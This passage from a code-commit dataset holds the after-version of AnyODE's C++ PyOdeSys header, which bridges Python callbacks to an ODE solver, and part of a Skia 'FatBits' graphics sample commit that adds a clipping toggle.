Py_DECREF(py_dfdt);\n        Py_DECREF(py_yarr);\n        this->njev++;\n        return handle_status_(py_result, \"jac\");\n    }\n    AnyODE::Status dense_jac_cmaj(double t, const double * const y, const double * const fy,\n                                  double * const jac, long int ldim, double * const dfdt=nullptr) override {\n        npy_intp Jdims[2] { static_cast<npy_intp>(this->ny), static_cast<npy_intp>(this->ny) };\n        npy_intp strides[2] { sizeof(double), static_cast<npy_intp>(ldim*sizeof(double)) };\n        int flags = NPY_ARRAY_ALIGNED | NPY_ARRAY_WRITEABLE;\n        if (ldim == Jdims[0]) {\n            flags |= NPY_ARRAY_F_CONTIGUOUS;\n        }\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_jmat = PyArray_New(\n            &PyArray_Type, 2, Jdims, type_tag, strides,\n            static_cast<void *>(const_cast<double *>(jac)), sizeof(double),\n            flags, nullptr);\n        AnyODE::Status status = call_py_jac(t, y, fy, py_jmat, dfdt);\n        Py_DECREF(py_jmat);\n        return status;\n    }\n    AnyODE::Status dense_jac_rmaj(double t, const double * const y, const double * const fy,\n                                  double * const jac, long int ldim, double * const dfdt=nullptr) override {\n        npy_intp Jdims[2] { static_cast<npy_intp>(this->ny), static_cast<npy_intp>(this->ny) };\n        npy_intp strides[2] { static_cast<npy_intp>(ldim*sizeof(double)), sizeof(double) };\n        const auto type_tag = NPY_DOUBLE;\n        int flags = NPY_ARRAY_ALIGNED| NPY_ARRAY_WRITEABLE;\n        if (ldim == Jdims[1]) {\n            flags |= NPY_ARRAY_C_CONTIGUOUS;\n        }\n        PyObject * py_jmat = PyArray_New(\n            &PyArray_Type, 2, Jdims, type_tag, strides,\n            static_cast<void *>(const_cast<double *>(jac)), sizeof(double), flags, nullptr);\n        AnyODE::Status status = call_py_jac(t, y, fy, py_jmat, dfdt);\n        Py_DECREF(py_jmat);\n        return status;\n    }\n    AnyODE::Status banded_jac_cmaj(double t, const double * const y, const double * const fy,\n                                   double * const jac, long int ldim) override {\n        npy_intp Jdims[2] { 1 + this->mlower + this->mupper, static_cast<npy_intp>(this->ny) };\n        npy_intp strides[2] { sizeof(double), static_cast<npy_intp>(ldim*sizeof(double)) };\n        const auto type_tag = NPY_DOUBLE;\n        int flags = NPY_ARRAY_ALIGNED | NPY_ARRAY_WRITEABLE;\n        if (ldim == Jdims[0] ) {\n            flags |= NPY_ARRAY_F_CONTIGUOUS;\n        }\n        PyObject * py_jmat = PyArray_New(\n            &PyArray_Type, 2, Jdims, type_tag, strides,\n            static_cast<void *>(const_cast<double *>(jac)), sizeof(double), flags, nullptr);\n        AnyODE::Status status = call_py_jac(t, y, fy, py_jmat, nullptr);\n        Py_DECREF(py_jmat);\n        return status;\n    }\n};\nEND_NAMESPACE(AnyODE)\n<commit_msg>or -> ||<commit_after>#pragma once\n\n#include <Python.h>\n#include <numpy\/arrayobject.h>\n#include <anyode\/anyode.hpp>\n\nBEGIN_NAMESPACE(AnyODE)\nstruct PyOdeSys : public AnyODE::OdeSysBase<double> {\n    int ny;\n    PyObject *py_rhs, *py_jac, *py_quads, *py_roots, *py_kwargs, *py_dx0cb, *py_dx_max_cb;\n    int mlower, mupper, nquads, nroots;\n    PyOdeSys(int ny, PyObject * py_rhs, PyObject * py_jac=nullptr, PyObject * py_quads=nullptr,\n             PyObject * py_roots=nullptr, PyObject * py_kwargs=nullptr, int mlower=-1,\n             int mupper=-1, int nquads=0, int nroots=0, PyObject * py_dx0cb=nullptr,\n             PyObject * py_dx_max_cb=nullptr) :\n        ny(ny), py_rhs(py_rhs), py_jac(py_jac), py_quads(py_quads), py_roots(py_roots),\n        py_kwargs(py_kwargs), py_dx0cb(py_dx0cb), py_dx_max_cb(py_dx_max_cb),\n        mlower(mlower), mupper(mupper), nquads(nquads), nroots(nroots)\n    {\n        if (py_rhs == nullptr){\n            throw std::runtime_error(\"py_rhs must not be nullptr\");\n        }\n        if ((py_dx_max_cb != nullptr) && (py_dx_max_cb != Py_None)) {\n            this->use_get_dx_max = true;\n        }\n        Py_INCREF(py_rhs);\n        Py_XINCREF(py_jac);\n        Py_XINCREF(py_quads);\n        Py_XINCREF(py_roots);\n        if (py_kwargs == Py_None){\n            Py_DECREF(Py_None);\n            this->py_kwargs = nullptr;\n        } else {\n            Py_XINCREF(py_kwargs);\n        }\n    }\n    virtual ~PyOdeSys() {\n        Py_DECREF(py_rhs);\n        Py_XDECREF(py_jac);\n        Py_XDECREF(py_quads);\n        Py_XDECREF(py_roots);\n        Py_XDECREF(py_kwargs);\n    }\n    int get_ny() const override { return ny; }\n    int get_mlower() const override { return mlower; }\n    int get_mupper() const override { return mupper; }\n    int get_nquads() const override { return nquads; }\n    int get_nroots() const override { return nroots; }\n    double get_dx0(double t, const double * const y) override {\n        if (py_dx0cb == nullptr || py_dx0cb == Py_None) {\n            return default_dx0;\n        }\n        npy_intp dims[1] { static_cast<npy_intp>(this->ny) } ;\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, dims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dO)\", (double)(t), py_yarr);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_dx0cb, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_yarr);\n        if (py_result == nullptr) {\n            throw std::runtime_error(\"get_dx0 failed (dx0cb failed)\");\n        }\n        double res = PyFloat_AsDouble(py_result);\n        Py_DECREF(py_result);\n        if ((PyErr_Occurred()) && (res == -1.0)) {\n            throw std::runtime_error(\"get_dx0 failed (value returned by dx0cb could not be converted to float)\");\n        }\n        return res;\n    }\n    double get_dx_max(double t, const double * const y) override {\n        if (py_dx_max_cb == nullptr || py_dx_max_cb == Py_None) {\n            return INFINITY;\n        }\n        npy_intp dims[1] { static_cast<npy_intp>(this->ny) } ;\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, dims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dO)\", (double)(t), py_yarr);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_dx_max_cb, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_yarr);\n        if (py_result == nullptr) {\n            throw std::runtime_error(\"get_dx_max failed (dx_max_cb failed)\");\n        }\n        double res = PyFloat_AsDouble(py_result);\n        Py_DECREF(py_result);\n        if (PyErr_Occurred() && (res == -1.0)) {\n            throw std::runtime_error(\"get_dx_max failed (value returned by dx_max_cb could not be converted to float)\");\n        }\n        return res;\n    }\n    Status handle_status_(PyObject * py_result, const std::string what_arg){\n        if (py_result == nullptr){\n            throw std::runtime_error(what_arg + \" failed\");\n        } else if (py_result == Py_None){\n            Py_DECREF(py_result);\n            return AnyODE::Status::success;\n        }\n        long result = PyInt_AsLong(py_result);\n        Py_DECREF(py_result);\n\n\n        if ((PyErr_Occurred() && (result == -1)) or\n            (result == static_cast<long int>(AnyODE::Status::unrecoverable_error))) {\n            return AnyODE::Status::unrecoverable_error;\n        } else if (result == static_cast<long int>(AnyODE::Status::recoverable_error)) {\n            return AnyODE::Status::recoverable_error;\n        } else if (result == static_cast<long int>(AnyODE::Status::success)) {\n            return AnyODE::Status::success;\n        }\n        throw std::runtime_error(what_arg + \" did not return None, -1, 0 or 1\");\n    }\n    Status rhs(double t, const double * const y, double * const dydt) override {\n        npy_intp dims[1] { static_cast<npy_intp>(this->ny) } ;\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, dims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyObject * py_dydt = PyArray_SimpleNewFromData(\n            1, dims, type_tag, static_cast<void*>(dydt));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dOO)\", (double)(t), py_yarr, py_dydt);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_rhs, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_dydt);\n        Py_DECREF(py_yarr);\n        this->nfev++;\n        return handle_status_(py_result, \"rhs\");\n    }\n    AnyODE::Status quads(double t, const double * const y, double * const out) override {\n        npy_intp ydims[1] { static_cast<npy_intp>(this->ny) };\n        npy_intp rdims[1] { static_cast<npy_intp>(this->get_nquads()) };\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, ydims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyObject * py_out = PyArray_SimpleNewFromData(\n            1, rdims, type_tag, static_cast<void*>(out));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dOO)\", t, py_yarr, py_out);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_quads, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_out);\n        Py_DECREF(py_yarr);\n        return handle_status_(py_result, \"quads\");\n    }\n    AnyODE::Status roots(double t, const double * const y, double * const out) override {\n        npy_intp ydims[1] { static_cast<npy_intp>(this->ny) };\n        npy_intp rdims[1] { static_cast<npy_intp>(this->get_nroots()) };\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(\n            1, ydims, type_tag, static_cast<void*>(const_cast<double*>(y)));\n        PyObject * py_out = PyArray_SimpleNewFromData(\n            1, rdims, type_tag, static_cast<void*>(out));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_arglist = Py_BuildValue(\"(dOO)\", t, py_yarr, py_out);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_roots, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_out);\n        Py_DECREF(py_yarr);\n        return handle_status_(py_result, \"roots\");\n    }\n    AnyODE::Status call_py_jac(double t, const double * const y, const double * const fy,\n                               PyObject * py_jmat, double * const dfdt){\n        npy_intp ydims[1] { static_cast<npy_intp>(this->ny) };\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_yarr = PyArray_SimpleNewFromData(1, ydims, type_tag, const_cast<double *>(y));\n        PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_yarr), NPY_ARRAY_WRITEABLE);  \/\/ make yarr read-only\n        PyObject * py_dfdt = (dfdt == nullptr) ? Py_BuildValue(\"\") : PyArray_SimpleNewFromData(\n            1, ydims, type_tag, static_cast<void*>(dfdt));\n        PyObject * py_fy;\n        if (fy) {\n            py_fy = PyArray_SimpleNewFromData(1, ydims, type_tag, const_cast<double *>(fy));\n            PyArray_CLEARFLAGS(reinterpret_cast<PyArrayObject*>(py_fy), NPY_ARRAY_WRITEABLE);  \/\/ make fy read-only\n        } else {\n            py_fy = Py_BuildValue(\"\"); \/\/ Py_None with incref\n        }\n        \/\/ Call jac with signature: (t, y[:], Jmat[:, :], dfdt[:]=None, fy[:]=None)\n        \/\/ (NumPy takes cares of row vs. column major ordering. User responsible for dense\/banded.)\n        PyObject * py_arglist = Py_BuildValue(\"(dOOOO)\", (double)t, py_yarr, py_jmat, py_dfdt, py_fy);\n        PyObject * py_result = PyEval_CallObjectWithKeywords(this->py_jac, py_arglist, this->py_kwargs);\n        Py_DECREF(py_arglist);\n        Py_DECREF(py_fy);\n        Py_DECREF(py_dfdt);\n        Py_DECREF(py_yarr);\n        this->njev++;\n        return handle_status_(py_result, \"jac\");\n    }\n    AnyODE::Status dense_jac_cmaj(double t, const double * const y, const double * const fy,\n                                  double * const jac, long int ldim, double * const dfdt=nullptr) override {\n        npy_intp Jdims[2] { static_cast<npy_intp>(this->ny), static_cast<npy_intp>(this->ny) };\n        npy_intp strides[2] { sizeof(double), static_cast<npy_intp>(ldim*sizeof(double)) };\n        int flags = NPY_ARRAY_ALIGNED | NPY_ARRAY_WRITEABLE;\n        if (ldim == Jdims[0]) {\n            flags |= NPY_ARRAY_F_CONTIGUOUS;\n        }\n        const auto type_tag = NPY_DOUBLE;\n        PyObject * py_jmat = PyArray_New(\n            &PyArray_Type, 2, Jdims, type_tag, strides,\n            static_cast<void *>(const_cast<double *>(jac)), sizeof(double),\n            flags, nullptr);\n        AnyODE::Status status = call_py_jac(t, y, fy, py_jmat, dfdt);\n        Py_DECREF(py_jmat);\n        return status;\n    }\n    AnyODE::Status dense_jac_rmaj(double t, const double * const y, const double * const fy,\n                                  double * const jac, long int ldim, double * const dfdt=nullptr) override {\n        npy_intp Jdims[2] { static_cast<npy_intp>(this->ny), static_cast<npy_intp>(this->ny) };\n        npy_intp strides[2] { static_cast<npy_intp>(ldim*sizeof(double)), sizeof(double) };\n        const auto type_tag = NPY_DOUBLE;\n        int flags = NPY_ARRAY_ALIGNED| NPY_ARRAY_WRITEABLE;\n        if (ldim == Jdims[1]) {\n            flags |= NPY_ARRAY_C_CONTIGUOUS;\n        }\n        PyObject * py_jmat = PyArray_New(\n            &PyArray_Type, 2, Jdims, type_tag, strides,\n            static_cast<void *>(const_cast<double *>(jac)), sizeof(double), flags, nullptr);\n        AnyODE::Status status = call_py_jac(t, y, fy, py_jmat, dfdt);\n        Py_DECREF(py_jmat);\n        return status;\n    }\n    AnyODE::Status banded_jac_cmaj(double t, const double * const y, const double * const fy,\n                                   double * const jac, long int ldim) override {\n        npy_intp Jdims[2] { 1 + this->mlower + this->mupper, static_cast<npy_intp>(this->ny) };\n        npy_intp strides[2] { sizeof(double), static_cast<npy_intp>(ldim*sizeof(double)) };\n        const auto type_tag = NPY_DOUBLE;\n        int flags = NPY_ARRAY_ALIGNED | NPY_ARRAY_WRITEABLE;\n        if (ldim == Jdims[0] ) {\n            flags |= NPY_ARRAY_F_CONTIGUOUS;\n        }\n        PyObject * py_jmat = PyArray_New(\n            &PyArray_Type, 2, Jdims, type_tag, strides,\n            static_cast<void *>(const_cast<double *>(jac)), sizeof(double), flags, nullptr);\n        AnyODE::Status status = call_py_jac(t, y, fy, py_jmat, nullptr);\n        Py_DECREF(py_jmat);\n        return status;\n    }\n};\nEND_NAMESPACE(AnyODE)\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SampleCode.h\"\n#include \"SkView.h\"\n#include \"SkCanvas.h\"\n#include \"SkPath.h\"\n#include \"SkRegion.h\"\n#include \"SkShader.h\"\n#include \"SkUtils.h\"\n#include \"SkImage.h\"\n#include \"SkSurface.h\"\n\n#define FAT_PIXEL_COLOR     SK_ColorBLACK\n#define PIXEL_CENTER_SIZE   3\n#define WIRE_FRAME_COLOR    0xFFFF0000  \/*0xFF00FFFF*\/\n#define WIRE_FRAME_SIZE     1.5f\n\nstatic void erase(SkSurface* surface) {\n    surface->getCanvas()->clear(0);\n}\n\nstatic SkShader* createChecker() {\n    SkBitmap bm;\n    bm.setConfig(SkBitmap::kARGB_8888_Config, 2, 2);\n    bm.allocPixels();\n    bm.lockPixels();\n    *bm.getAddr32(0, 0) = *bm.getAddr32(1, 1) = SkPreMultiplyColor(0xFFFDFDFD);\n    *bm.getAddr32(0, 1) = *bm.getAddr32(1, 0) = SkPreMultiplyColor(0xFFF4F4F4);\n    SkShader* s = SkShader::CreateBitmapShader(bm, SkShader::kRepeat_TileMode,\n                                               SkShader::kRepeat_TileMode);\n\n    SkMatrix m;\n    m.setScale(12, 12);\n    s->setLocalMatrix(m);\n    return s;\n}\n\nclass FatBits {\npublic:\n    FatBits() : fShader(createChecker()) {\n        fAA = false;\n        fStyle = kHair_Style;\n        fGrid = true;\n        fShowSkeleton = true;\n        fUseGPU = false;\n    }\n\n    int getZoom() const { return fZ; }\n\n    bool getAA() const { return fAA; }\n    void setAA(bool aa) { fAA = aa; }\n\n    bool getGrid() const { return fGrid; }\n    void setGrid(bool g) { fGrid = g; }\n\n    bool getShowSkeleton() const { return fShowSkeleton; }\n    void setShowSkeleton(bool ss) { fShowSkeleton = ss; }\n\n    bool getUseGPU() const { return fUseGPU; }\n    void setUseGPU(bool ug) { fUseGPU = ug; }\n\n    enum Style {\n        kHair_Style,\n        kStroke_Style,\n    };\n    Style getStyle() const { return fStyle; }\n    void setStyle(Style s) { fStyle = s; }\n\n    void setWHZ(int width, int height, int zoom) {\n        fW = width;\n        fH = height;\n        fZ = zoom;\n        fBounds.set(0, 0, SkIntToScalar(width * zoom), SkIntToScalar(height * zoom));\n        fMatrix.setScale(SkIntToScalar(zoom), SkIntToScalar(zoom));\n        fInverse.setScale(SK_Scalar1 \/ zoom, SK_Scalar1 \/ zoom);\n        fShader->setLocalMatrix(fMatrix);\n\n        SkImage::Info info = {\n            width, height, SkImage::kPMColor_ColorType, SkImage::kPremul_AlphaType\n        };\n        fMinSurface.reset(SkSurface::NewRaster(info, NULL));\n        info.fWidth *= zoom;\n        info.fHeight *= zoom;\n        fMaxSurface.reset(SkSurface::NewRaster(info, NULL));\n    }\n\n    void drawBG(SkCanvas*);\n    void drawFG(SkCanvas*);\n    void drawLine(SkCanvas*, SkPoint pts[2]);\n    void drawRect(SkCanvas* canvas, SkPoint pts[2]);\n\nprivate:\n    bool fAA, fGrid, fShowSkeleton, fUseGPU;\n    Style fStyle;\n    int fW, fH, fZ;\n    SkMatrix fMatrix, fInverse;\n    SkRect   fBounds;\n    SkAutoTUnref<SkShader> fShader;\n    SkAutoTUnref<SkSurface> fMinSurface;\n    SkAutoTUnref<SkSurface> fMaxSurface;\n\n    void setupPaint(SkPaint* paint) {\n        bool aa = this->getAA();\n        switch (fStyle) {\n            case kHair_Style:\n                paint->setStrokeWidth(0);\n                break;\n            case kStroke_Style:\n                paint->setStrokeWidth(SK_Scalar1);\n\/\/                paint->setStrokeWidth(SK_Scalar1 + SK_Scalar1\/500);\n                break;\n        }\n        paint->setAntiAlias(aa);\n    }\n\n    void setupSkeletonPaint(SkPaint* paint) {\n        paint->setStyle(SkPaint::kStroke_Style);\n        paint->setStrokeWidth(WIRE_FRAME_SIZE);\n        paint->setColor(fShowSkeleton ? WIRE_FRAME_COLOR : 0);\n        paint->setAntiAlias(true);\n    }\n\n    void drawLineSkeleton(SkCanvas* max, const SkPoint pts[]);\n    void drawRectSkeleton(SkCanvas* max, const SkRect& r) {\n        SkPaint paint;\n        this->setupSkeletonPaint(&paint);\n        SkPath path;\n\n        if (fUseGPU && fAA) {\n            SkRect rr = r;\n            rr.inset(fZ\/2, fZ\/2);\n            path.addRect(rr);\n            path.moveTo(rr.fLeft, rr.fTop);\n            path.lineTo(rr.fRight, rr.fBottom);\n            rr = r;\n            rr.inset(-fZ\/2, -fZ\/2);\n            path.addRect(rr);\n        } else {\n            path.addRect(r);\n            if (fUseGPU) {\n                path.moveTo(r.fLeft, r.fTop);\n                path.lineTo(r.fRight, r.fBottom);\n            }\n        }\n        max->drawPath(path, paint);\n    }\n\n    void copyMinToMax() {\n        erase(fMaxSurface);\n        SkCanvas* canvas = fMaxSurface->getCanvas();\n        canvas->save();\n        canvas->concat(fMatrix);\n        fMinSurface->draw(canvas, 0, 0, NULL);\n        canvas->restore();\n\n        SkPaint paint;\n        paint.setXfermodeMode(SkXfermode::kClear_Mode);\n        for (int iy = 1; iy < fH; ++iy) {\n            SkScalar y = SkIntToScalar(iy * fZ);\n            canvas->drawLine(0, y - SK_ScalarHalf, 999, y - SK_ScalarHalf, paint);\n        }\n        for (int ix = 1; ix < fW; ++ix) {\n            SkScalar x = SkIntToScalar(ix * fZ);\n            canvas->drawLine(x - SK_ScalarHalf, 0, x - SK_ScalarHalf, 999, paint);\n        }\n    }\n};\n\nvoid FatBits::drawBG(SkCanvas* canvas) {\n    SkPaint paint;\n\n    paint.setShader(fShader);\n    canvas->drawRect(fBounds, paint);\n    paint.setShader(NULL);\n}\n\nvoid FatBits::drawFG(SkCanvas* canvas) {\n    SkPaint inner, outer;\n\n    inner.setAntiAlias(true);\n    inner.setColor(SK_ColorBLACK);\n    inner.setStrokeWidth(PIXEL_CENTER_SIZE);\n\n    outer.setAntiAlias(true);\n    outer.setColor(SK_ColorWHITE);\n    outer.setStrokeWidth(PIXEL_CENTER_SIZE + 2);\n\n    SkScalar half = SkIntToScalar(fZ) \/ 2;\n    for (int iy = 0; iy < fH; ++iy) {\n        SkScalar y = SkIntToScalar(iy * fZ) + half;\n        for (int ix = 0; ix < fW; ++ix) {\n            SkScalar x = SkIntToScalar(ix * fZ) + half;\n\n            canvas->drawPoint(x, y, outer);\n            canvas->drawPoint(x, y, inner);\n        }\n    }\n}\n\nvoid FatBits::drawLineSkeleton(SkCanvas* max, const SkPoint pts[]) {\n    SkPaint paint;\n    this->setupSkeletonPaint(&paint);\n\n    SkPath path;\n    path.moveTo(pts[0]);\n    path.lineTo(pts[1]);\n\n    switch (fStyle) {\n        case kHair_Style:\n            if (fUseGPU) {\n                SkPaint p;\n                p.setStyle(SkPaint::kStroke_Style);\n                p.setStrokeWidth(SK_Scalar1 * fZ);\n                SkPath dst;\n                p.getFillPath(path, &dst);\n                path.addPath(dst);\n            }\n            break;\n        case kStroke_Style: {\n            SkPaint p;\n            p.setStyle(SkPaint::kStroke_Style);\n            p.setStrokeWidth(SK_Scalar1 * fZ);\n            SkPath dst;\n            p.getFillPath(path, &dst);\n            path = dst;\n\n            if (fUseGPU) {\n                path.moveTo(dst.getPoint(0));\n                path.lineTo(dst.getPoint(2));\n            }\n        } break;\n    }\n    max->drawPath(path, paint);\n}\n\nvoid FatBits::drawLine(SkCanvas* canvas, SkPoint pts[]) {\n    SkPaint paint;\n\n    fInverse.mapPoints(pts, 2);\n\n    if (fGrid) {\n        SkScalar dd = 0;\/\/SK_Scalar1 \/ 50;\n        pts[0].set(SkScalarRoundToScalar(pts[0].fX) + dd,\n                   SkScalarRoundToScalar(pts[0].fY) + dd);\n        pts[1].set(SkScalarRoundToScalar(pts[1].fX) + dd,\n                   SkScalarRoundToScalar(pts[1].fY) + dd);\n    }\n\n    erase(fMinSurface);\n    this->setupPaint(&paint);\n    paint.setColor(FAT_PIXEL_COLOR);\n    fMinSurface->getCanvas()->drawLine(pts[0].fX, pts[0].fY, pts[1].fX, pts[1].fY, paint);\n    this->copyMinToMax();\n\n    SkCanvas* max = fMaxSurface->getCanvas();\n\n    fMatrix.mapPoints(pts, 2);\n    this->drawLineSkeleton(max, pts);\n\n    fMaxSurface->draw(canvas, 0, 0, NULL);\n}\n\nvoid FatBits::drawRect(SkCanvas* canvas, SkPoint pts[2]) {\n    SkPaint paint;\n\n    fInverse.mapPoints(pts, 2);\n\n    if (fGrid) {\n        pts[0].set(SkScalarRoundToScalar(pts[0].fX), SkScalarRoundToScalar(pts[0].fY));\n        pts[1].set(SkScalarRoundToScalar(pts[1].fX), SkScalarRoundToScalar(pts[1].fY));\n    }\n\n    SkRect r;\n    r.set(pts, 2);\n\n    erase(fMinSurface);\n    this->setupPaint(&paint);\n    paint.setColor(FAT_PIXEL_COLOR);\n    fMinSurface->getCanvas()->drawRect(r, paint);\n    this->copyMinToMax();\n\n    SkCanvas* max = fMaxSurface->getCanvas();\n\n    fMatrix.mapPoints(pts, 2);\n    r.set(pts, 2);\n    this->drawRectSkeleton(max, r);\n\n    fMaxSurface->draw(canvas, 0, 0, NULL);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nclass IndexClick : public SkView::Click {\n    int fIndex;\npublic:\n    IndexClick(SkView* v, int index) : SkView::Click(v), fIndex(index) {}\n\n    static int GetIndex(SkView::Click* click) {\n        return ((IndexClick*)click)->fIndex;\n    }\n};\n\nclass DrawLineView : public SampleView {\n    FatBits fFB;\n    SkPoint fPts[2];\n    bool    fIsRect;\npublic:\n    DrawLineView() {\n        fFB.setWHZ(24, 16, 48);\n        fPts[0].set(48, 48);\n        fPts[1].set(48 * 5, 48 * 4);\n        fIsRect = false;\n    }\n\n    void setStyle(FatBits::Style s) {\n        fFB.setStyle(s);\n        this->inval(NULL);\n    }\n\nprotected:\n    virtual bool onQuery(SkEvent* evt) SK_OVERRIDE {\n        if (SampleCode::TitleQ(*evt)) {\n            SampleCode::TitleR(evt, \"FatBits\");\n            return true;\n        }\n        SkUnichar uni;\n        if (SampleCode::CharQ(*evt, &uni)) {\n            switch (uni) {\n                case 'r':\n                    fIsRect = !fIsRect;\n                    this->inval(NULL);\n                    return true;\n                case 'x':\n                    fFB.setGrid(!fFB.getGrid());\n                    this->inval(NULL);\n                    return true;\n                case 's':\n                    if (FatBits::kStroke_Style == fFB.getStyle()) {\n                        this->setStyle(FatBits::kHair_Style);\n                    } else {\n                        this->setStyle(FatBits::kStroke_Style);\n                    }\n                    return true;\n                case 'a':\n                    fFB.setAA(!fFB.getAA());\n                    this->inval(NULL);\n                    return true;\n                case 'w':\n                    fFB.setShowSkeleton(!fFB.getShowSkeleton());\n                    this->inval(NULL);\n                    return true;\n                case 'g':\n                    fFB.setUseGPU(!fFB.getUseGPU());\n                    this->inval(NULL);\n                    return true;\n            }\n        }\n        return this->INHERITED::onQuery(evt);\n    }\n\n    virtual void onDrawContent(SkCanvas* canvas) {\n        fFB.drawBG(canvas);\n        if (fIsRect) {\n            fFB.drawRect(canvas, fPts);\n        } else {\n            fFB.drawLine(canvas, fPts);\n        }\n        fFB.drawFG(canvas);\n\n        {\n            SkString str;\n            str.printf(\"%s %s %s\",\n                       fFB.getAA() ? \"AA\" : \"BW\",\n                       FatBits::kHair_Style == fFB.getStyle() ? \"Hair\" : \"Stroke\",\n                       fFB.getUseGPU() ? \"GPU\" : \"CPU\");\n            SkPaint paint;\n            paint.setAntiAlias(true);\n            paint.setTextSize(16);\n            paint.setColor(SK_ColorBLUE);\n            canvas->drawText(str.c_str(), str.size(), 10, 16, paint);\n        }\n    }\n\n    virtual SkView::Click* onFindClickHandler(SkScalar x, SkScalar y) {\n        SkPoint pt = { x, y };\n        int index = -1;\n        SkScalar tol = 12;\n        if (fPts[0].equalsWithinTolerance(pt, tol)) {\n            index = 0;\n        } else if (fPts[1].equalsWithinTolerance(pt, tol)) {\n            index = 1;\n        }\n        return new IndexClick(this, index);\n    }\n\n    virtual bool onClick(Click* click) {\n        int index = IndexClick::GetIndex(click);\n        if (index >= 0 && index <= 1) {\n            fPts[index] = click->fCurr;\n        } else {\n            SkScalar dx = click->fCurr.fX - click->fPrev.fX;\n            SkScalar dy = click->fCurr.fY - click->fPrev.fY;\n            fPts[0].offset(dx, dy);\n            fPts[1].offset(dx, dy);\n        }\n        this->inval(NULL);\n        return true;\n    }\n\nprivate:\n\n    typedef SampleView INHERITED;\n};\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic SkView* MyFactory() { return new DrawLineView; }\nstatic SkViewRegister reg(MyFactory);\n\n<commit_msg>add 'c' toggle to test clipping<commit_after>\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"SampleCode.h\"\n#include \"SkView.h\"\n#include \"SkCanvas.h\"\n#include \"SkPath.h\"\n#include \"SkRegion.h\"\n#include \"SkShader.h\"\n#include \"SkUtils.h\"\n#include \"SkImage.h\"\n#include \"SkSurface.h\"\n\n#define FAT_PIXEL_COLOR     SK_ColorBLACK\n#define PIXEL_CENTER_SIZE   3\n#define WIRE_FRAME_COLOR    0xFFFF0000  \/*0xFF00FFFF*\/\n#define WIRE_FRAME_SIZE     1.5f\n\nstatic void erase(SkSurface* surface) {\n    surface->getCanvas()->clear(0);\n}\n\nstatic SkShader* createChecker() {\n\/\/    SkColor colors[] = { 0xFFFDFDFD, 0xFFF4F4F4 };\n    SkColor colors[] = { 0xFFFFFFFF, 0xFFFFFFFF };\n    SkBitmap bm;\n    bm.setConfig(SkBitmap::kARGB_8888_Config, 2, 2);\n    bm.allocPixels();\n    bm.lockPixels();\n    *bm.getAddr32(0, 0) = *bm.getAddr32(1, 1) = SkPreMultiplyColor(colors[0]);\n    *bm.getAddr32(0, 1) = *bm.getAddr32(1, 0) = SkPreMultiplyColor(colors[1]);\n    SkShader* s = SkShader::CreateBitmapShader(bm, SkShader::kRepeat_TileMode,\n                                               SkShader::kRepeat_TileMode);\n\n    SkMatrix m;\n    m.setScale(12, 12);\n    s->setLocalMatrix(m);\n    return s;\n}\n\nclass FatBits {\npublic:\n    FatBits() : fShader(createChecker()) {\n        fAA = false;\n        fStyle = kHair_Style;\n        fGrid = true;\n        fShowSkeleton = true;\n        fUseGPU = false;\n        